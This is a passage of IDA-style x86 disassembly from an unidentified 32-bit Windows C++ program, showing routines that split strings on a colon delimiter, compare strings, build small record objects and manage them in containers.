		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40192E
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413C40	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413C40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413D89
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017EE
		test	eax, eax
		jz	loc_413D89
		push	esi
		push	edi
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413D63
		add	ebp, 54h


loc_413CC0:				; CODE XREF: sub_413C40+11Dj
		push	15h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413CE0
		mov	ecx, eax
		call	sub_401F4B
		jmp	short loc_413CE2
; ---------------------------------------------------------------------------


loc_413CE0:				; CODE XREF: sub_413C40+95j
		xor	eax, eax


loc_413CE2:				; CODE XREF: sub_413C40+9Ej
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016B8
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40202C
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_401488
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413CC0


loc_413D63:				; CODE XREF: sub_413C40+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413D89:				; CODE XREF: sub_413C40+26j
					; sub_413C40+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413C40	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E10	proc near		; CODE XREF: sub_401F4Bj
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_413E10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413E30:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401870
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E70	proc near		; CODE XREF: sub_4018ACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413E70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_401CE4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_41405E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_402130
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41405E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_41405E
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413F57
		lea	ecx, [edi+2Ah]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017EE


loc_413F26:				; CODE XREF: sub_413E70+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F4A
		cmp	cl, bl
		jz	short loc_413F46
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F4A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F26


loc_413F46:				; CODE XREF: sub_413E70+C0j
		xor	eax, eax
		jmp	short loc_413F4F
; ---------------------------------------------------------------------------


loc_413F4A:				; CODE XREF: sub_413E70+BCj
					; sub_413E70+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F4F:				; CODE XREF: sub_413E70+D8j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413F57:				; CODE XREF: sub_413E70+A1j
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413FB3
		lea	ecx, [edi+3Fh]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017EE


loc_413F82:				; CODE XREF: sub_413E70+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413FA6
		cmp	cl, bl
		jz	short loc_413FA2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413FA6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F82


loc_413FA2:				; CODE XREF: sub_413E70+11Cj
		xor	eax, eax
		jmp	short loc_413FAB
; ---------------------------------------------------------------------------


loc_413FA6:				; CODE XREF: sub_413E70+118j
					; sub_413E70+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413FAB:				; CODE XREF: sub_413E70+134j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413FB3:				; CODE XREF: sub_413E70+FAj
		push	58h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413FD3
		mov	ecx, eax
		call	sub_401D1B
		jmp	short loc_413FD5
; ---------------------------------------------------------------------------


loc_413FD3:				; CODE XREF: sub_413E70+158j
		xor	eax, eax


loc_413FD5:				; CODE XREF: sub_413E70+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40202C
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40202C
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401410
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4140AB
; ---------------------------------------------------------------------------


loc_41405E:				; CODE XREF: sub_413E70+44j
					; sub_413E70+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4140AB:				; CODE XREF: sub_413E70+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413E70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414160	proc near		; CODE XREF: sub_401D1Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4141F0:				; CODE XREF: ___:00401DD9j
		push	0FFFFFFFFh
		push	offset loc_43AF10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_4018AC
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4142E0	proc near		; CODE XREF: sub_401541j
		add	ecx, 6Ch
		jmp	sub_401C76
sub_4142E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414300	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414300
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_437AEA
sub_414300	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414343
		mov	ecx, eax
		call	sub_401BF4
; ---------------------------------------------------------------------------
		jmp	short loc_414345
; ---------------------------------------------------------------------------


loc_414343:				; CODE XREF: ___:00414338j
		xor	eax, eax


loc_414345:				; CODE XREF: ___:00414341j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40202C
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40202C
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40202C
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40202C
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401F0F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414430	proc near		; CODE XREF: sub_401BF4j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40142E
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414430	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4144D0:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_43AFD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4145A0	proc near		; CODE XREF: sub_401DC0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4145A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E38
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_414650


loc_414605:				; CODE XREF: sub_4145A0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41462D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41462D:				; CODE XREF: sub_4145A0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020C2
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_414605


loc_414650:				; CODE XREF: sub_4145A0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_414698
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_414673
		push	1
		call	sub_4019EC


loc_414673:				; CODE XREF: sub_4145A0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_414698:				; CODE XREF: sub_4145A0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4145A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414710	proc near		; CODE XREF: sub_4019ECj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402243
		test	[esp+4+arg_0], 1
		jz	short loc_414728
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414728:				; CODE XREF: sub_414710+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414710	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414740	proc near		; CODE XREF: sub_402243j
		jmp	sub_401226
sub_414740	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414760:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_43B020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414829


loc_4147C3:				; CODE XREF: ___:00414827j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_444C64 ; ":"
		push	esi
		push	edx
		call	sub_4016B8
		mov	ecx, ebp
		call	sub_401DC0
		cmp	al, bl
		jnz	short loc_4147F0
		mov	[esp+13h], bl


loc_4147F0:				; CODE XREF: ___:004147EAj
		inc	esi
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4147C3


loc_414829:				; CODE XREF: ___:004147C1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4148A0	proc near		; CODE XREF: sub_40212Bj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4148A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	loc_4149D4
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_41497E


loc_414914:				; CODE XREF: sub_4148A0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B86
		test	eax, eax
		jz	short loc_41494C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41495B


loc_41494C:				; CODE XREF: sub_4148A0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41495B:				; CODE XREF: sub_4148A0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414914


loc_41497E:				; CODE XREF: sub_4148A0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_4149D4
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_40214E
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4149A1
		push	1
		call	sub_401708


loc_4149A1:				; CODE XREF: sub_4148A0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_4149D4:				; CODE XREF: sub_4148A0+2Ej
					; sub_4148A0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4148A0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A70	proc near		; CODE XREF: sub_401708j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_414A88
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414A88:				; CODE XREF: sub_414A70+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414A70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414AA0	proc near		; CODE XREF: sub_401A6Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414AA0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414B30:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_43B098
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40212B
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414BC0:				; CODE XREF: ___:00401B45j
